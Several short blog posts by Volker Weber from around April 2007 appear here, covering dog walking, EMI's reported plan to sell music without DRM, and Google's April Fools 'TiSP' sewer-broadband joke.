One of the benefits of having a dog is that it forces you to exercise more. Not matter what the weather is you have to take it outside for a walk. Several times ad day. Unless you are really lazy.

Spring is in the air

by Volker Weber

Orangerie, Darmstadt

No, it probably was not Uma.

Will DRM Die Today?

by Volker Weber

The Wall Street Journal reports that EMI will announce today that a significant portion of EMI’s catalog will be sold online without any DRM. EMI is the third largest music label after Universal and Sony.

Michael Arrington of TechCrunch comments:

If EMI does in fact announce that they will sell music without DRM, Jobs is going to get most or all of the credit. If sales increase, expect the other three big music labels to join as well. And April 2, 2007 will be a day music fans remember forever.

More >

Repeat after me: DRM is bad for the customer


by Volker Weber

It lasted almost six months. Thank you, beekeeper :-)

Down the drain

by Volker Weber


Google TiSP (BETA) is a fully functional, end-to-end system that provides in-home wireless access by connecting your commode-based TiSP wireless router to one of thousands of TiSP Access Nodes via fiber-optic cable strung through your local municipal sewage lines.

Act fast. It's only available today >

Old vowe.net archive pages

I explain difficult concepts in simple ways. For free, and for money. Clue procurement and bullshit detection.


Paypal vowe